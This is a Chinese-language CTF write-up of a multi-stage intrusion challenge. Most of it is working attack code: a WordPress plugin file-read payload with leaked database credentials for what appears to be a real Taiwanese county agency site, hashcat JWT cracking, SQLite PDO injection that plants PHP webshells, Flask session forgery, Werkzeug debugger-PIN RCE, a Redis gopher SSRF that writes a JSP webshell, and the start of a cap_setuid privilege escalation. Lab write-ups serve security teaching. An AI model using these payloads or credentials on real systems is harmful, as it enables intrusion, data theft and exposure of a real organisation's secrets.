启程
首先获得的是一个压缩包,但是加密了。我们丢到passware里爆破一下。
直接出了,密码654321
获得一串base64编码后的数据,解码一下
1 2 3 4 5 6 7 if __name__ == '__main__' : try : import secretMessageResponse except ImportError: import pip pip.main(['install' , 'secretMessageResponse' ]) from secretMessageResponse import printMessage
直接丢到python运行试试。返回结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 请使用组织分配的私钥解密后使用 ---------------------------------------------------------- 2024-12-16 gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM= ---------------------------------------------------------- 请使用组织分配的私钥解密后使用 ---------------------------------------------------------- 2024-04-11 Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI= ---------------------------------------------------------- 请使用组织分配的私钥解密后使用 ---------------------------------------------------------- 2024-03-05 ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA= ----------------------------------------------------------
同时题目给了npq
1 2 3 633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
给了npq,e默认,那么私钥自然而然其实就有了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import gmpy2from Cryptodome.PublicKey import RSAn=633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417 p=31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681 q=19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657 phi=(p-1 )*(q-1 ) e=65537 d=gmpy2.invert(e,phi) d=int (d) key = RSA.construct((n, e, d, p, q)) private_key=key.export_key() print (private_key.decode('utf-8' ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY-----
然后用赛博厨子解密即可。
解得明文如下:
1 2 3 4 5 6 7 8 9 Park: 你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】 发送人:Dylan Park: 总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改 发送人:Dylan Park: 【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接 发送人:Dylan
然后我们要做的是获取任务中心的账号密码
上面的密文中说到过了,任务中心的账号密码和湾湾某一g*v的数据库账密是一样的,那就说明我们要去看看湾湾的g*v。这里就不贴图了,有一丢丢敏感。。
wordpress,那就wpscan浅浅扫一下
发现插件版本out of date且给出了具体版本,那么去wpscan官网查查相关漏洞试试
尝试后直接获取敏感文件
1 ?aam-media=wp-config.php
图就不贴了嘤嘤嘤
1 2 define( 'DB_USER', 'hsinchug_wp1' ); define( 'DB_PASSWORD', 'Q.4Vyj8VCiedX1KYU5g05' );
拿到账密后就可以进入任务中心了。
第二章
根据任务中心中给到的信息我们可以对私钥进行掩码爆破
1 hashcat -a 3 -m 16500 hash.txt --custom-charset1=?l?d 4a4f7d6e8b5?1?1?10c7f
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzU4MTI2ODR9.vwzjhUY2xVSdKrdG2KznZ-kWWLBHvE7KTtLtFr4bRBo:4a4f7d6e8b5e3a0c7f
抓显示电话号码的包,然后改JWT即可。
1 2 3 在任务中心服务器上搜索秘密账户,用户名好像是root,提交他的密码 非系统用户root 是web里面的用户名root
然后注销,登陆的时候抓包狂改jwt
然后就多了一个administrator界面!!
抓包获取三个接口:
listTaskFiles接口好像可以获得目录文件??试试看
/getServerInfo获取内网地址
/downloadTaskFile通过url下载文件,既然有内网地址和目录了,那么我们是不是就可以下载文件了?!
但是试了一下不太行,后来发现在listTaskFiles的bp dashboard处直接改包发包以后,浏览器上显示文件,然后直接读就行
多了一个路由
这个taskfiles目录下没啥东西。。。读到都是没用的,那就说明需要目录穿越。
尝试了../,发现过滤了,没办法
尝试置空,读取到上一级,但应该是根目录,这就不知道了
发现一个init_users.json,直接读
1 提交 DATABASE_SECRET_KEY内容
然后看下一关,提交 DATABASE_SECRET_KEY内容
先看看main.py.bak文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from flask import Flask, request, jsonify, sessionfrom flask import url_for, redirectimport loggingfrom os.path import basename, joinapp = Flask(__name__) app.config['SECRET_KEY' ] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5' @app.route('/' , methods=['GET' ] ) def index (): session['user' ] = 'guest' return {'message' : 'log server is running' } def check_session (): if 'user' not in session: return False if session['user' ] != 'admin' : return False return True @app.route('/key' , methods=['GET' ] ) def get_key (): if not check_session(): return {"message" : "not authorized" } else : with open ('/log_server_key.txt' , 'r' ) as f: key = f.read() return {'message' : 'key' , 'key' : key} @app.route('/set_log_option' , methods=['GET' ] ) def set_log_option (): if not check_session(): return {"message" : "not authorized" } logName = request.args.get('logName' ) logFile = request.args.get('logFile' ) app_log = logging.getLogger(logName) app_log.addHandler(logging.FileHandler('./log/' + logFile)) app_log.setLevel(logging.INFO) clear_log_file('./log/' + logFile) return {'message' : 'log option set successfully' } @app.route('/get_log_content' , methods=['GET' ] ) def get_log_content (): if not check_session(): return {"message" : "not authorized" } logFile = request.args.get('logFile' ) path = join('log' , basename(logFile)) with open (path, 'r' ) as f: content = f.read() return {'message' : 'log content' , 'content' : content} def clear_log_file (file_path ): with open (file_path, 'w' ) as f: pass if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=8888 )
读了也没很大的用处。题目是横向渗透,之前给了一个内网ip 172.2.233.4,莫非是扫c段?
我勒个豆??随便改了一位直接出了。。。环境变了一次,所以172.2.233.4变为172.2.45.4
第三章 1 2 跳岛战术 拿到config.php中的数据库密码
跳岛战术,被困了好久
8888端口开放了一个flask的服务
然后看看php代码
这台机器是php环境,config.php估计就在这台机子上了。
GET传参,四个参数,username、password、dsn、query
1 2 3 ?username=meteorkai&password=mateorkai&dsn=sqlite:aa.php&query=CREATE TABLE bad (name TEXT); %3Fusername%3Dmeteorkai%26password%3Dmateorkai%26dsn%3Dsqlite%3Aaa.php%26query%3DCREATE%20TABLE%20bad%20%28name%20TEXT%29%3B
1 2 3 4 5 ?username=meteorkai&password=mateorkai&dsn=sqlite:aa.php&query=INSERT INTO bad (name) VALUES ('<?php file_put_contents("cmd.php","<?php system(\$_GET[0]);?>");?>'); %3Fusername%3Dmeteorkai%26password%3Dmateorkai%26dsn%3Dsqlite%3Aaa.php%26query%3DINSERT%20INTO%20bad%20%28name%29%20VALUES%20%28%27%3C%3Fphp%20file_put_contents%28%22cmd.php%22%2C%22%3C%3Fphp%20system%28%5C%24_GET%5B0%5D%29%3B%3F%3E%22%29%3B%3F%3E%27%29%3B %3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");
sqlite的每一个数据库其实都是一个文件,第一个命令是创建一个bad表并有字段name,这会被记录到php文件中去。第二个命令相当于往name字段写入一个后门,那么就会在php文件中出现,然后我们访问aa.php,就会触发php代码,从而产生后门
成功获得config.php中数据库密码。
1 2 3 4 $database_host = "localhost"; $database_user = "root"; $database_password = "3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5"; $database_name = "web_db_2";
1 2 3 4 5 提交park在2024年12月27日19时20分收到的邮件中的数字 格式 ctfshow{数字} 也可以提交 163邮箱的账号密码 格式 ctfshow{账号_密码}
然后我们看看根目录,发现存在一个secret.txt文件,查看一下。
获得一串base64编码
1 2 YUdGamEyVnlYMk4wWm5Ob2IzZEFNVFl6TG1OdmJTOUk= WVdOclpYSmZZM1JtYzJnd2R3PT0=
1 2 aGFja2VyX2N0ZnNob3dAMTYzLmNvbS9I YWNrZXJfY3Rmc2gwdw==
解码后拼接
1 hacker_ctfshow@163.com/Hacker_ctfsh0w
邮箱号加密码。
1 ctfshow{hacker_ctfshow@163.com_Hacker_ctfsh0w}
第四章
本章的重点是flask服务器,之前我们看到过源码,在8888端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from flask import Flask, request, jsonify, sessionfrom flask import url_for, redirectimport loggingfrom os.path import basename, joinapp = Flask(__name__) app.config['SECRET_KEY' ] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5' @app.route('/' , methods=['GET' ] ) def index (): session['user' ] = 'guest' return {'message' : 'log server is running' } def check_session (): if 'user' not in session: return False if session['user' ] != 'admin' : return False return True @app.route('/key' , methods=['GET' ] ) def get_key (): if not check_session(): return {"message" : "not authorized" } else : with open ('/log_server_key.txt' , 'r' ) as f: key = f.read() return {'message' : 'key' , 'key' : key} @app.route('/set_log_option' , methods=['GET' ] ) def set_log_option (): if not check_session(): return {"message" : "not authorized" } logName = request.args.get('logName' ) logFile = request.args.get('logFile' ) app_log = logging.getLogger(logName) app_log.addHandler(logging.FileHandler('./log/' + logFile)) app_log.setLevel(logging.INFO) clear_log_file('./log/' + logFile) return {'message' : 'log option set successfully' } @app.route('/get_log_content' , methods=['GET' ] ) def get_log_content (): if not check_session(): return {"message" : "not authorized" } logFile = request.args.get('logFile' ) path = join('log' , basename(logFile)) with open (path, 'r' ) as f: content = f.read() return {'message' : 'log content' , 'content' : content} def clear_log_file (file_path ): with open (file_path, 'w' ) as f: pass if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=8888 )
这里我们获取到了一个session值,看看
1 eyJ1c2VyIjoiZ3Vlc3QifQ.Z3zuOw.FYFsUkqCVKObwblDG85AR5G7PRI
第一题我们的重点是:
1 2 3 4 5 6 7 8 @app.route('/key' , methods=['GET' ] ) def get_key (): if not check_session(): return {"message" : "not authorized" } else : with open ('/log_server_key.txt' , 'r' ) as f: key = f.read() return {'message' : 'key' , 'key' : key}
那就是session伪造嘛。
1 eyJ1c2VyIjoiYWRtaW4ifQ.Z3zvxA.3ctTGQeEHdsYY66hbZKoftfwOLg
然后我们需要携带cookie访问/key路由
1 ?url=http://172.2.78.5/cmd.php?0=curl+http://172.2.78.6:8888/key+--cookie+"session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3zvxA.3ctTGQeEHdsYY66hbZKoftfwOLg"
1 提交flask所在服务器的/etc/passwd 文件最后一行内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 @app.route('/set_log_option' , methods=['GET' ] ) def set_log_option (): if not check_session(): return {"message" : "not authorized" } logName = request.args.get('logName' ) logFile = request.args.get('logFile' ) app_log = logging.getLogger(logName) app_log.addHandler(logging.FileHandler('./log/' + logFile)) app_log.setLevel(logging.INFO) clear_log_file('./log/' + logFile) return {'message' : 'log option set successfully' } @app.route('/get_log_content' , methods=['GET' ] ) def get_log_content (): if not check_session(): return {"message" : "not authorized" } logFile = request.args.get('logFile' ) path = join('log' , basename(logFile)) with open (path, 'r' ) as f: content = f.read() return {'message' : 'log content' , 'content' : content}
这里打pin码泄露,创建一个日志,然后把pin码打印到日志。
设置loggername为werkzeug记录flask的日志(不知道的可以打个断点看一下,在logdict里有)
查一下就可以知道这个logger可以记录flask的日志,那么打印出来的pin就会出现在日志中,然后getlogcontent即可。
1 2 #设置log http://172.2.95.5/1.php?1=system('curl+-b+"session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0"+"http://172.2.95.6:8888/set_log_option%3flogName=werkzeug%2526logFile=jwk.log"');
1 2 3 4 #获取console的页面key http://172.2.95.5/1.php?1=system('curl+-b+"session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0"+"http://172.2.95.6:8888/console"'); BDrrhrw6TzJCcFsCz6dj
1 2 3 4 #打印pin码到日志 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=printpin&s=BDrrhrw6TzJCcFsCz6dj" Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNU5GeFEubnFyeTdYZmlYSmxaVUtDY2V6TmpLTGVfd0QwIiAiaHR0cDovLzE3Mi4yLjk1LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXByaW50cGluJnM9QkRycmhydzZUekpDY0ZzQ3o2ZGoi
1 2 3 4 读log curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/get_log_content?logFile=jwk.log" Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNU5GeFEubnFyeTdYZmlYSmxaVUtDY2V6TmpLTGVfd0QwIiAiaHR0cDovLzE3Mi4yLjk1LjY6ODg4OC9nZXRfbG9nX2NvbnRlbnQ/bG9nRmlsZT1qd2subG9nIg==
终于读到pin了,卡了好久。。。
然后我们pinauth一下,获取cookie
1 2 3 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=pinauth&pin=375-828-345&s=BDrrhrw6TzJCcFsCz6dj" Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNU5GeFEubnFyeTdYZmlYSmxaVUtDY2V6TmpLTGVfd0QwIiAiaHR0cDovLzE3Mi4yLjk1LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTM3NS04MjgtMzQ1JnM9QkRycmhydzZUekpDY0ZzQ3o2ZGoi
显示auth为true,验证成功,这里我们保存cookie的值
1 curl -c cookie.txt -v -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=pinauth&pin=375-828-345&s=BDrrhrw6TzJCcFsCz6dj"
1 __wzdc58fd521ffb0cae53209 1737707116|910ebc3905cd
然后进行rce:
1 curl -v -b "__wzdc58fd521ffb0cae53209=1737707116|910ebc3905cd" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=__import__('os').system('''cat%20\/etc\/passwd>.\/log\/jwk.log''')&frm=0&s=BDrrhrw6TzJCcFsCz6dj"
1 ctfer:x:1000:1000::/home/ctfer:/bin/bash
第五章
扫到一个java服务。jetty,没什么其他的,看看是否存在版本漏洞。
CVE-2021-28164
提交 /dylan.txt 中的key
既然我们获得了redis的密码,那么我们接下来登录redis
1 dict://172.2.229.7:6380/auth:ctfshow_2025
1 2 3 4 5 6 auth ctfshow_2025 config set dir /opt/jetty/webapps/ROOT/ config set dbfilename hack.jsp set xxx "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>" save quit
1 curl -v "gopher://172.2.95.7:6380/_auth%20ctfshow_2025%0aconfig%20set%20dir%20%2fopt%2fjetty%2fwebapps%2fROOT%2f%0aconfig%20set%20dbfilename%20hack.jsp%0aset%20xxx%20%22%3c%25%20Runtime.getRuntime().exec(new%20String%5b%5d%7b%5c%22sh%5c%22%2c%5c%22-c%5c%22%2crequest.getParameter(%5c%22cmd%5c%22)%7d)%3b%25%3e%22%0asave%0aquit"
不出意外写马是成功的
1 http://172.2.95.7:8080/hack.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/1.txt
然后去访问1.txt即可。
1 7b11a7ae330883cb5bf667a9c1604635
提交/root/message.txt中提到的网址
一眼需要提权!
列出文件能力:
1 http://172.2.95.7:8080/hack.jsp?cmd=getcap%20-r%20/%202>/dev/null> /opt/jetty/webapps/ROOT/cap.txt
1 /usr/local/openjdk-8/bin/java = cap_setuid+ep
好东西,java有setuid能力
写入 SetUID.c
1 2 3 4 5 6 #include <jni.h> #include <unistd.h> JNIEXPORT jint JNICALL Java_SetUID_setUID (JNIEnv *env, jobject obj, jint uid) { return setuid(uid); }
